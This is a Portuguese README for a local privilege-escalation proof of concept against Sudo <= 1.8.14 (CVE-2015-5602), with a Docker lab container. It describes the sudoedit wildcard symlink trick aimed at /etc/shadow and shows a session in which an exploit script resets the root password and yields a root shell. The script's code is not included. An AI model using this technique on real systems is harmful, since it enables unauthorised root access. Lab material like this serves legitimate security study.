
Sudo <= 1.8.14 Escalação de Privilégio Local e contêiner vulnerável
Sudo (su "do") permite que um administrador do sistema conceda a certos usuários (ou grupos de usuários) a capacidade de executar alguns (ou todos) comandos como root enquanto registra todos os comandos e argumentos.
Para configurar um ambiente vulnerável para seu teste, você precisará do Docker instalado e basta executar o seguinte comando:
docker build -t privesc/cve-2015-5602 .
docker run --rm -it privesc/cve-2015-5602
E isso irá gerar um shell interativo com privilégios de usuário baixo.
O bug foi encontrado no sudoedit, que não verifica o caminho completo se um curinga for usado duas vezes (ex.: /home/*/*/esc.txt), isso permite que um usuário malicioso substitua o arquivo real esc.txt por um link simbólico para um local diferente (ex.: /etc/shadow).
Explorar com sucesso este problema pode permitir que um atacante manipule arquivos e obtenha privilégios de root no sistema hospedeiro por meio de ataques de symlink.
Para explorar este alvo, basta executar:
./exploit.sh
Se você estiver usando esta imagem vulnerável, pode executar:
user@1cc9cd901b07:~$ sudo -l
User user may run the following commands on 1cc9cd901b07:
(root) NOPASSWD: sudoedit /home/*/*/esc.txt
user@1cc9cd901b07:~$ ./exploit.sh
[+] CVE-2015-5602 exploit by t0kx
[+] Creating folder...
[+] Creating symlink
[+] Modify EDITOR...
[+] Change root password to: d03c09dc34c53657aff1f459a86b20ed
[+] Done
user@1cc9cd901b07:~$ su
Password:
root@1cc9cd901b07:/home/user# id
uid=0(root) gid=0(root) groups=0(root)
root@1cc9cd901b07:/home/user#
Esta falha foi encontrada por Daniel Svartman.
Este programa ou programas anteriores são APENAS para fins educacionais. Não o utilize sem permissão. O aviso legal usual se aplica, especialmente o fato de que eu (t0kx) não sou responsável por quaisquer danos causados pelo uso direto ou indireto das informações ou funcionalidades fornecidas por estes programas. O autor ou qualquer provedor de Internet NÃO assume responsabilidade pelo conteúdo ou uso indevido destes programas ou de seus derivados. Ao usar estes programas, você aceita o fato de que qualquer dano (perda de dados, falha do sistema, comprometimento do sistema, etc.) causado pelo uso destes programas não é de responsabilidade do t0kx.